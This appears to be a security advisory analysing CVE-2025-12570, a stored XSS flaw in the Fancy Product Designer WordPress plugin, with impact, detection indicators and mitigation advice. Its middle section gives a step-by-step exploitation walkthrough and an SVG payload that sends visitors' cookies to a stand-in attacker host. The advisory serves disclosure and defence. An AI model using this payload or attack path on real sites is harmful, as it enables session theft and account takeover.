CVE-2025-12570: 
WordPress vulnerability analysis and mitigation

CVE-2025-12570 is a Stored Cross-Site Scripting (XSS) vulnerability in the Fancy Product Designer plugin for WordPress, affecting all versions up to and including 6.4.8. The flaw allows unauthenticated attackers to inject arbitrary web scripts via SVG file uploads, which execute whenever any user accesses the malicious SVG file. It was published on December 12, 2025, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Red Hat CVE, Wordfence).

The root cause is insufficient input sanitization and output escaping in two specific files: data-to-image.php and pdf-to-image.php within the Fancy Product Designer plugin (CWE-79: Improper Neutralization of Input During Web Page Generation). An unauthenticated attacker can upload a crafted SVG file containing embedded JavaScript; because SVG is an XML-based format that supports inline scripting, the malicious payload is stored on the server and rendered in the browser context of any user who subsequently accesses the file. No authentication or elevated privileges are required, and the scope is changed (S:C), meaning the injected script executes in the victim's browser context rather than the server's (Red Hat CVE, Wordfence).

Successful exploitation allows persistent malicious scripts to execute in the browsers of all users who access the affected SVG file, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the attack requires no authentication and the payload is stored server-side, the blast radius extends to all site visitors, including administrators, potentially enabling account takeover or further lateral movement within the WordPress environment. Availability is not directly impacted (Red Hat CVE, Wordfence).

No public exploit code or active in-the-wild exploitation has been confirmed as of the available data. The EPSS score is approximately 0.074% (0.000740), indicating a low but non-zero probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It has been detected by Qualys (detection ID 530809) and is tracked in the ENISA EUVD under EUVD-2025-203060 (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Fancy Product Designer plugin (versions ≤ 6.4.8) using tools like WPScan, Shodan, or by inspecting plugin directories exposed via the target site.
2. Craft malicious SVG: Create an SVG file containing an embedded JavaScript payload, for example:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>
</svg>

3. Upload SVG via plugin: Use the Fancy Product Designer's file upload functionality (accessible without authentication) to upload the crafted SVG file, targeting the endpoints processed by data-to-image.php or pdf-to-image.php.
4. Distribute the link: Obtain or share the URL of the stored SVG file on the target server.
5. Payload execution: When any user (including administrators) accesses the SVG file URL in their browser, the embedded JavaScript executes in their browser context, enabling session hijacking, credential theft, or further attacks (Wordfence).

• File System: Presence of SVG files in the WordPress uploads directory containing <script> tags or JavaScript event handlers (e.g., onload, onerror); unexpected SVG files uploaded via the Fancy Product Designer plugin directories.
• Logs: Web server access logs showing unauthenticated POST requests to data-to-image.php or pdf-to-image.php with SVG file uploads; repeated GET requests to uploaded SVG files from diverse IP addresses.
• Network: Outbound connections from victim browsers to unknown external domains following access to SVG files hosted on the WordPress site; unusual traffic patterns to attacker-controlled infrastructure (e.g., cookie exfiltration endpoints).
• Application: WordPress media library containing SVG files not uploaded by known administrators; plugin error logs referencing unexpected file processing in data-to-image.php or pdf-to-image.php (Wordfence).

Site administrators should update the Fancy Product Designer plugin to a version beyond 6.4.8 as soon as a patched release is available from the vendor (Radykal via CodeCanyon). As an interim workaround, disable or restrict the SVG file upload functionality within the plugin settings, or use a WordPress security plugin (e.g., Wordfence) to block SVG uploads site-wide. Additionally, implementing a Content Security Policy (CSP) header can reduce the impact of any stored XSS by restricting script execution sources (Wordfence, Wordfence Weekly Report).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for December 8–14, 2025, and published a dedicated threat intelligence entry (Wordfence Weekly Report). RedPacket Security and Mastodon security community accounts shared alerts about the CVE shortly after publication. The vulnerability was also picked up by automated security feeds including Qualys, VulDB, and Vulners, indicating standard community awareness without notable controversy or high-profile researcher commentary.